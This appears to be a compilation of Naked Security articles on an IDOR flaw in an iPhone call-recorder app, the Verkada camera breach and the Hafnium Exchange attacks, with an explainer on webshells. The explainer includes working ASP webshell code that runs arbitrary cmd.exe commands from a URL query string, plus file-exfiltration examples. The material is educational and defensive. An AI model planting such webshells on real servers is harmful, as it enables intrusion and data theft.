Perpetual IT

Don’t panic.

This isn’t a case of secretive nation-state phone interception methodologies (or spying, as it is often called).

It’s not a tale of cybercriminals deliberately trying to listen in to your business discussions so they can divert massive invoice payments or implant ransomware with multi-million dollar blackmail demands.

That’s the good news.

The bug in this case, discovered by Indian cybersecurity researcher Anand Prakash, was merely a matter of poor programming.

The bad news is that the side-effects of the bug could pretty much have been exploited by anyone, anywhere, any time.

Who needs authentication?

The type of vulnerability that Prakash found often gets the fancy-sounding name IDOR, short for Insecure Direct Object Reference.

An IDOR vulnerability usually boils down to a website or service that makes it easy for someone who has watched the app in action when it’s retrieving data that they’re supposed to be able to access…

…to figure out how to retreive other people’s data in future, without logging in or authenticating at all.

Typically, you’ll spot that an app or service is using a URL or a web form that includes your own user ID, or serial number, or some other not-very-secret identifier, but no other way of being sure that it’s you.

You might then try mocking up a request with someone else’s ID in it, or the next number in sequence, or some other likely guess at a valid reference, and find that the system retrieves it directly for you, even though it’s not your record and you shouldn’t be viewing it.

In theory, many exploitable IDOR bugs can be found purely analytically, by reverse engineering the suspect app, without ever actually creating a fake account and running the app itself. In practice, however, it’s often much easier and quicker just to do some basic reversing to give you an idea of what to look for, and then to run the suspect app while you watch it in action. There’s no need to spend days analysing an app statically in a decompiler if you can deduce its bugs directly from its own behaviour – you simply give the app a chance to cook its own cybersecurity goose while you take notes.

In this case, the app was called Acr call recorder – for iPhon‪e, and like many App Store apps, it is (or was when we looked) awash with hundreds, nay thousands, of glowing 5-star reviews.

You can probably guess where this is going, given that many of these 5-star reviews rather curiously recommend a completely different app in their text, or praise the app using peculiar turns of phrase that put forward unlikely and even worrying reasons.

For example, someone called Earnest assures you that “it’s definitely wasteful if you haven’t tried this application“, while Christopher.1966 says that he has “used this small thing almost since they boarded the train“, and Brenda somewhat creepily if redundantly expresses delight that she can now “record what I and my girl friend said.” (A call recorder that couldn’t record your calls would simply be misnamed.)

Even though it turns out that Brenda is referring to a completely different app that includes a voice changer feature, making you wonder if Brenda’s girlfriend realised who she was talking to when she was being recorded, Brenda’s 5-star review still counts towards the abovementioned call recorder app’s attractive average review rating of 4.2/5.

There are plenty of 1-star reviews in there, however, warning you that this is one of those “free trial” apps that bills you automatically if you don’t cancel within three days – a type of free that Elizafisch described very succinctly in her review as “FREE ????? Ridiculous.”

But perhaps the most apposite review, at least until the app was updated after the developer received Anand Prakash’s bug report, was Leanne’s 5-star review saying “in addition to managing recordings, I can also share them easily when needed. So convenient for me!”

What Leanne left out, however, was that the cloud-based storage feature of the app was convenient not only for her but for everyone else in the world, including those without a copy of the app or even an iPhone.

Sharing her calls with other people, it seems, was way easier that she thought.

Direct reference to UserID object

Prakash decompiled the app to look for likely URLs it might connect to, monitored the app while it was running, and noticed that one of its call-home requests was a block of JSON data looking something like this:

 POST /fetch-sinch-recordings.php HTTP/1.1 Host: [REDACTED] Content-Type: application/json Connection: close [. . .more headers, no unique cookies or tokens. . .] { "UserID": "xxxxxx", "AppID": "xxx" }

‍
With nothing to tie this request to a specific user who has already authenticated, and no way for the server to decide whether the submitter of the request has any right to be asking for data belonging to the user designated by UserID…

…someone can put anyone’s UserID into a concocted request, and therefore everyone’s data is safe from no one.

You can see how this type of bug gets the name IDOR, given that it allows attackers to specify their victims insecurely and directly, simply by pasting a new UserID directly into the request.

What to do?

Here’s our advice.

• As a user, don’t be swayed by App Store or Google Play reviews.

As Naked Security writer Sally Adam recommended in her advice to parents on tightening up home security during the coronavirus pandemic:

We suggest that you ignore the reviews and star ratings on the app stores themselves. You have no idea who gave those ratings or left the reviews, or even if they ever used the app at all.

Fake ratings and official-looking app store reviews can be bought online at a price that’s almost literally ten-a-penny. Look for reviews in independent user forums or for discussions in online cybersecurity groups.

• Consider using third-party mobile cybersecurity software to complement the built-in protection of the device you use.

Both Apple and Google operate their own online stores that contain vetted and approved apps, but those walled gardens are far from perfect – there are just too many developers and too many apps for each one to be scrutinised in detail by an expert.

Sophos Intercept X for Mobile is free (Android and iOS versions available) and gives you an extra layer of security to help you look for risky apps and to warn you if you have inadvertently enabled any insecure settings in the operating system itself.

• As a programmer, follow the operating system’s own recommendations for secure coding.

Guidelines from Apple, Google and others on how to program securely on their platforms are not enough on their own.

But if there is any advice from the vendor that you have ignored, or worse still aren’t even aware of, your cybersecurity probably isn’t up to scratch, so treat the vendor’s own guidelines as “necessary but not sufficient”, to borrow a turn of phrase from mathematical logic.

Apple, for instance, has a wide range of security advice for progammers that covers authentication (is the right person doing the right thing?), confidentiality (is data safe from snooping when stored or when moving across the network?) and validity (is the right code doing the right thing?).

• Never stop learning and reading about cybersecurity.

One of the reasons that Sophos Naked Security exists is to help you to understand and fight back against cybercriminality and to avoid the sort of mistakes that make life easier for the crooks.

(We don’t see this as a one-way website – we read all the comments and advice that you, our readers, leave here, and make sure that our developers and product managers hear you, too!)

If you’re just starting out in cloud or web development and you want to know the best things to learn first, a good place to start is probably the OWASP Top Ten.

• Remember that cybersecurity is a journey, not a destination.

Yes, that’s a truism – but the thing about truisms is that they only get called truisms because they’re true!

---

Getting to grips with the HAFNIUM gang/vulnerabilities/exploits/webshells/attacks. Why it’s important to think before you share those home-based selfies. What you need to know about social engineering. How (not!) to prove a point when you’re a programmer.

With Kimberly Truong and Paul Ducklin.

Intro and outro music by Edith Mudge.

---

WHERE TO FIND THE PODCAST ONLINE

You can listen to us on Soundcloud, Apple Podcasts, Google Podcasts, Spotify, Stitcher, Overcast and anywhere that good podcasts are found.

Or just drop the URL of our RSS feed into your favourite podcatcher software.

If you have any questions that you’d like us to answer on the podcast, you can contact us at tips@sophos.com, or simply leave us a comment below

News outlet Bloomberg has gone public with a dramatic cybersecurity news story about surveillance.

Bloomberg claims that an “international hacker collective” was responsible for breaking into a network of 150,000 surveillance cameras and purloining private footage from live video feeds.

According to Bloomberg, one of the hacking crew, Tillie Kottmann, claimed to have broken into cloud-based camera surveillance company Verkada and accessed a huge swathe of internal data.

This apparently included real-time access of up to 150,000 surveillance cameras at Verkada customer sites, as well as other real-time information such as access control data from Verkada customers.

Car maker Tesla, internet provider Cloudflare and numerous health and law enforcement organisations are claimed in Bloomberg’s piece as some of the victims.

Why the hack?

Kottmann, says Bloomberg, gave a laundry list of libertarian-sounding reasons for the hack, including anti-capitalist sentiment and opposition to the very concept of intellectual property.

However, the list of reasons rather notably starts with “curiosity” and ends with the fact that it was “just too much fun not to do it“.

The concept of hacking-just-for-fun was perhaps most notoriously adopted in the past decade by the cybercrew who called themselves LulzSec, and whose infamous motto was “Laughing at your security since 2011.”

Things didn’t end too well for some of the LulzSec gang, who were fairly quickly identified, charged and convicted of various cybercrime offences.

Viewing the evidence

Bloomberg says it’s seen camera footage that substantiates Kottmann’s claims to have accessed video feeds online, and says that the feeds stopped after it reported the incident to Verkada.

Verkada apparently told Bloomberg that it had “disabled all internal administrator accounts to prevent any unauthorized access.”

Administrator access is supposed to be how the infiltrators got in to start with – not so much by fiendish hacking as by a combination of poor cybersecurity practices and good luck:

The hackers’ methods were unsophisticated: they gained access to Verkada through a “Super Admin” account, allowing them to peer into the cameras of all of its customers. Kottmann says they found a user name and password for an administrator account publicly exposed on the internet.

What’s likely to happen next in this saga isn’t clear.

Kottmann, at any rate, who apparently tweeted as @nyancrimew, is now suspended from the platform for violating Twitter rules.

What to do?

Don’t let this happen to you.

• Don’t create so-called super-admin accounts that make it possible for one individual to access any and all data at will. Make sure you not only have limits on just how much harm any individual user might do on their own, but also that you pay attention to any alerts warning you of users trying to get access to controlled resources.
• Don’t assume that all attackers are motivated by money. Attacks for old-school reasons, including simply “because it was there”, are no less intrusive or disruptive, especially if confidential customer data is at risk.
• Don’t forget that you can outource the work but not the responsibility. Assessing the cybersecurity strengths and weaknesses of the providers you work with may feel like a burden that slows your business down, but you need to ensure that your suppliers are operating at or above your own security standards.
• Keep an eye on your cloud assets in case you’re exposing data where you shouldn’t. Tools like Sophos Cloud Optix can’t stop you telling the right passwords to the wrong people, but they can help you to control your exposure and identify cloud assets that are visible where they aren’t supposed to be.
• Use end-to-end encryption wherever you can. If you are collecting surveillance data from customer sites but will never need to examine it yourself, encrypt it with your customers’ keys right at source and only ever transmit or store it in encrypted form.

Remember that even if you are collecting data from your customers so you can process it for them, such as doing real-time image recognition to generate alerts based on dangerous situations or prohibited access, you can still use end-to-end encryption inside your own network.

For example, encrypting data at source from a camera so that it can’t be decrypted until it reaches your (presumably additionally secured) image processing servers helps to limit the number of people and devices on your network where sensitive data could be intercepted and stolen.

---

The cybersecurity meganews of the week, of course, is anything to do with HAFNIUM.

(To be clear, we’re going to write it as Hafnium from now on, as Microsoft does in its top-level incident disclosure document, so that it doesn’t look as though we’re shouting all the time.)

Strictly speaking, Hafnium is the name that Microsoft uses to denote a specific gang of cybercriminals, allegedly operating out China via cloud services in the US.

According to Microsoft, these crooks are primarily interested in “exfiltrating information from a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs.”

The newsworthiness of this cybergang right now is that they have been connected with a number of brand new exploits recently patched in Microsoft Exchange.

These patches were deemed so critical that they came out the week before March 2021’s regular Patch Tuesday, instead of being made to wait for the rest of the month’s fixes.

These zero-day bugs can be used, amongst other things, to get access into, and to implant malware onto, Exchange systems, giving the crooks a sneaky entry pathway that avoids the need for cracked or guessed passwords.

The bugs, dubbed CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065, present a number of different loopholes to attackers, including ways for cybercriminals to:

• Get authenticated access to an Exchange server without needing a password.
• Upgrade access privileges to the SYSTEM account.
• Write files to arbitrary locations on the server.

Unfortunately, the Hafnium crooks aren’t the only ones using these flaws at the moment – it seems that their techniques for exploiting the bugs are already widely known.

Turning write into execute

At this point, you might be wondering how attackers can turn a remote file write bug, where they can drop a file of their choice somewhere on your computer, into a remote code execution (RCE) bug, where they can reliably and immediately run the file they just created.

Note, of course, that the crooks don’t have to be able to run uploaded files right away in order to do serious damage.

It’s dangerous enough if they are able to leave malicious code where you might later launch it yourself by mistake, or if they can put it where it will run next time you reboot. (Cybercrooks aren’t always in a tearing hurry.)

Nevertheless, if cybercrooks can not only drop malware but also activate it whenever they want, they will do just that.

And in the recent Hafnium attacks, you’ve probably seen numerous mentions of the attackers using things known as webshells as a trick to launch files that they just infiltrated.

Although the words shell and webshell are widely used and at least loosely understood, we thought this would be a good opportunity to explain what these terms mean, how they work, and why they’re popular with crooks.

So, here goes.

Shells, also known as REPLs

To start with, we’re going to use a compact and stripped-down scripting language called Lua as an example. (Lua is a bit like Perl, Python, Ruby and their ilk, only much smaller.)

Like all those languages, it comes with a shell, often also referred to as a REPL, short for read-evaluate-print loop, which does what the name suggests.

Simply put, instead of running an existing program directly, a REPL typically prints a prompt and waits for you to type in a command or language statment, whereupon it executes the statement immediately, prints any results and goes back for more.

You can therefore work interactively, computing results, constructing new programs in memory and running them, building data structures, creating files, and even running external programs found elsewhere on your computer.

With a REPL or a shell you can quite literally make it all up as you go along, rather than being stuck with a program you created earlier.

In the Lua shell, the > character is a prompt to indicate that the REPL is waiting for input, and the text after the prompt is what we typed in for the REPL to execute.

Lines that start without a > are the printed output from the REPL:

Lua 5.4.2 Copyright (C) 1994-2020 Lua.org, PUC-Rio > 6*7 -- evaluate expression immediately
42
> mypi=4*math.atan(1) -- compute and save variable
> mypi -- print out variable
3.1415926535898
> mypi == math.pi -- compare my pi to the built-in value
true > f=function(x) return x+x end -- create anonymous function
> f(8) -- call it 16 > string.upper('change case') -- call built-in function
CHANGE CASE
> io.popen('/bin/id -a'):read() -- open subprocess and collect output
uid=2001(duck) gid=2001(duck) groups=2001(duck),3042(wireshark),3043(docker)
> 

If you could implant a REPL like this on a remote computer and then send it lines of text one at a time, you’ve have a very simple remote shell that you could use to do pretty much whatever you wanted – you wouldn’t be limited to a predetermined set of already-coded features.

Command shells

As it happens, we started the Lua shell above from an even more general purpose Linux shell, namely Bash.

Where Lua favours the > character for its prompt, Bash prefers $, and Bash lets you run other programs directly, without needing special functions such as io.popen() to open a sub-process:

$ id -a # details of current user
uid=2001(duck) gid=2001(duck) groups=2001(duck),3042(wireshark),3043(docker)
$ curl https:/example.com/ # download data from web
<!doctype html>
<html>
<head> <title>Example Domain</title> [ . . . ] <p>This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission.</p> <p><a href="https://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>
$ function e() { echo "$1" and "$2" ; } # create function
$ e one two # call it
one and two
$

You can see why crooks love to set up remote shells they can access later, because it gives them the manoeuverability to develop their attacks as they go to work, instead of implanting a specific item of malware up front that isn’t as flexible.

Web content delivery

Here’s the thing: many, if not most, web servers use a scripting system, a bit like the Lua engine we tinkered with above, to help them generate and serve up content.

Common scripting engines used alongside web servers include PHP, Perl and Python on Linux or Unix systems, and PHP, VBScript, JavaScript and C# on Windows systems.

Usually, if you use your browser to ask for a file with a name such as index.html or image.jpg, and such a file exists, the server will simply read that file into memory and send it back as the content of the requsted page, along with the necessary HTTP (web protocol) headers.

These are known in the jargon as static pages, for obvious reasons: the file stored on the server is the content that gets served every time.

We set up a Windows IIS server and created this simple hello.html file for it to use:

 <html> <body> <p style='text-align:center;'>HELLO </body> </html>

Visiting the relevant URL returns precisely the contents of that file, unmodified:

The upper pane shows how the page was rendered and the bottom pane shows the exact HTML source code that was served up.

Clearly, a crook who could write a new hello.html file could cause real trouble for your server by causing you to serve up fake news, malware content, or bogus links, so a web server bug that allows arbitrary file writes always spells trouble.

But the side-effects of a bogus HTML file would, in general, be restricted to users who browsed to your site and who received the malicious content.

That HTML file couldn’t and wouldn’t directly affect the server itself.

Server side scripting

Life isn’t that simple, however, so let’s see what happens if we create a file called hello.asp instead.

(ASP is Windows jargon for Active Server Pages, though many other scriptable extensions are used, notably PHP files with the extension .php on Unix and Linux servers, but the underlying run-time principles are the same.)

Here’s the HTML source code:

 <html> <body> <p style='text-align:center;'>HELLO <p style='text-align:center;'><% =Now() %> </body> </html>

But this time, the page that’s served up looks like this:

The extension .asp in the URL automatically tells the Windows IIS server not to read and return the hello.asp file from the server directly, but to process it through the Windows ASP scripting service first.

Any regular HTML content is used unmodified, but the parts of the file betwen the special markers <% and %> are treated as miniature programs.

They’re actually executed as scripts on the server itself and the output of the script is inserted into the HTML file to create a dynamic page.

By default, ASP executes script code as VBScript, which is what we have used here, but you can choose from other scripting engines including server-side JavaScript, C# and PHP.

In the example above, the VBScript fragment =Now() simply means to run the VBscript function Now() to get the date and time as a text string, and return that string as the output.

So the HTML visible in the browser contains no trace of the server-side script, even though the page was dynamically generated on the server by running code stored inside the hello.asp file.

Remote execution via the browser

What you’re looking at here is a really easy way for crooks who can write files to a web server, but not run them directly, to launch them indirectly instead.

If you can infiltrate a file with a scriptable extension into the right place on a web server, then you can visit later just using your browser and force the file to execute on the server, simply by referencing the URL that corresponds to the infiltrated file.

The browser essentially acts as a sort of “command console” that triggers the server to execute the script code.

All that’s necessary is for the script file to exist in one of the directories where the web server has been configured to check for content. (In a default installation of Windows IIS, that’s the folder C:\inetpub\wwwroot.)

Malicious server-side side effects

Active Server Pages are safe enough if you only ever allow the server to access trusted script files designed to create legitimate content for the pages you’re intending to serve up.

But crooks can use ASP files without caring at all about the content they generate, concentrating on using the script to attack the server from the inside.

Here’s a simple example of using an implanted server-side script specifically to retrieve information about the server itself:

 <html> <body> <pre> ---begin output--- <% set o = createobject("wscript.shell") set e = o.exec("cmd.exe /c whoami /user") r = e.stdout.readall response.write(r) %> ---end output </pre> </body> </html>

In the VBScript above, sandwiched between the special <% and %> markers, we placed code that uses the scripting engine inside the IIS browser to open a secondary scripting engine for our own use.

Then we ran the Windows command whoami /user and collected the output, in order to find out what user account the server itself was using.

Basically, we’ve turned our browser into a web script console and achived RCE:

To run the script, we just “launch” it on the server by putting its name into the URL in our browser.

Webshells

We’re almost there.

We now have a way to force an infiltrated script file to run on a Windows IIS server, simply by using our browser.

But what if we want something more like the Lua REPL or the Bash console we showed earier, where we don’t have to decide in advance which Windows commands we want to run?

It turns out that ASP-flavoured VBScript has a built-in way by which you can access any query parameters put on the end of a URL, i.e. anything that follows a ? character in the URL.

You can use the special variable request.querystring, together with the unescape() function to remove the special encoding that your browser uses for troublesome characters such as quotes, slashes, spaces and so on (the browser embeds these as hexadecimal codes).

So this server-side script…

 <html> <body> <pre> ---begin output--- <% r = request.querystring c = unescape(request.querystring) response.write("Query was: ") response.write(r) response.write(vbCRLF) response.write("UnURLified: ") response.write(c) response.write(vbCRLF) %> ---end output </pre> </body> </html>

…produces the output below in the browser:

You can see where we’re going with this, given that we can now not only trigger our script remotely, but also pass it run-time parameters that change its behaviour every time.

We’re going to use the text in the query string as the name of the Windows command we want to run, so that we can choose at run-time what we want our server-side script to do.

Now we have a generic webshell that isn’t hard-wired to specific commands:

<html>
<body>
<pre>
<% ' Construct the command string *from our browser-side input* ' so we have a shell to run any command we want. ' The function chr(34) produces a double-quote inside the string. c = "cmd.exe /c " & chr(34) & unescape(request.querystring) & chr(34) response.write("Running: " & c)
%>
---begin output
<% response.write(vbCRLF) set o = createobject("wscript.shell") set e = o.exec(c) r = e.stdout.readall response.write(r)
%> ---end output
</pre>
</body>
</html>

Try putting dir into the URL to get a file listing off the server:

Or use whoami /all to find out the permissions the IIS server is using:

Or exfiltrate files with the builtin type function (like cat on Unix), e.g. with the command type C:\Windows\System32\Drivers\etc\Hosts:

Other VBScript and JavaScript functions you will frequently see in webshell code are execute() and eval(), which compile the input that they’re given into executable VBScript or JavaScript code, and then run it for you.

This means you don’t need telltale script commands such as createobject("wscript.shell") in the webshell files themselves – you can pass in that part of the code at run time.

And there you have it.

That gives you a basic understanding of a webshell – it’s a tiny malicious addition to a web server’s set of files that can give crooks the ability to run commands of their choice, right on your web server, without needing to login first.

Indeed, the crooks can use an innocent-looking browser as a “console” program to control their shell remotely.

If you try these experiments for yourself, please don’t do this anywhere except at home, and don’t use your work computer in case something goes wrong. To install IIS and ASP on Windows 10, you can use Control Panel > Programs > Turn Windows features on or off and then select the components you need in the Internet Information Services section. Don’t forget to remove ASP and IIS when you’re done experimenting – you almost certainly don’t want those components installed and running on a regular computer that you use for other things.

What to do?

• Patch your Exchange servers. As we mentioned above, these security holes are already being actively exploited by more than just the Hafnium gang.
• Search your networks for indicators of compromise. Sophos has created a step-by-step guide to help you identify if you have been infiltrated by any of the webshells known to have been used in recent attacks:

• Ensure you’re protected against future attacks of this sort. For details of how Sophos protects against this threat, please read our update on Sophos News:

By the way, if you need assistance in investigating a possible attack, we’re here to help: please contact the Sophos Managed Threat Response team.

---

Are those little bits of personal information that you give away in the background of home photos and video calls really worth worrying about?

We find out:

[embedded content]

Watch directly on YouTube if the video won’t play here.
Click the on-screen Settings cog to speed up playback or show subtitles.

Why not join us live next time?

Don’t forget that these talks are streamed weekly on our Facebook page, where you can catch us live every Friday.

We’re normally on air some time between 18:00 and 19:00 in the UK (late morning/early afternoon in North America).

Just keep an eye on the @NakedSecurity Twitter feed or check our Facebook page on Fridays to find out the time we’ll be live.